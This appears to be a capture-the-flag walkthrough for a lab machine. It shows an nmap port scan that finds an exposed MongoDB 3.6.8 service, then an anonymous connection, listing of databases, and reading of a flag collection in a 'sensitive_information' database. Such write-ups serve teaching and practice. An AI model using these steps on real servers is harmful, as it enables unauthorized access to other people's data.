Port scan time. Please exchange ip with your machines IP address.
nmap -p- --min-rate=1000 -sV ip
Relevant output:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 27017/tcp open mongodb MongoDB 3.6.8 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We will try to log into the MongoDB database on this machine. First install:
sudo curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.4.7.tgz sudo tar xvf mongodb-linux-x86_64-3.4.7.tgz cd mongodb-linux-x86_64-3.4.7/bin
Then we try to connect as an anonymous user:
./mongo mongodb://ip:27017
And then run this command to list all databases:
show dbs;
Output:
admin 0.000GB config 0.000GB local 0.000GB sensitive_information 0.000GB users 0.000GB
One looks especially interesting:
use sensitive_information;
Then we can list the collections of this database:
show collections;
Then we can view the contents of the documents of the flag collection by running:
db.flag.find().pretty();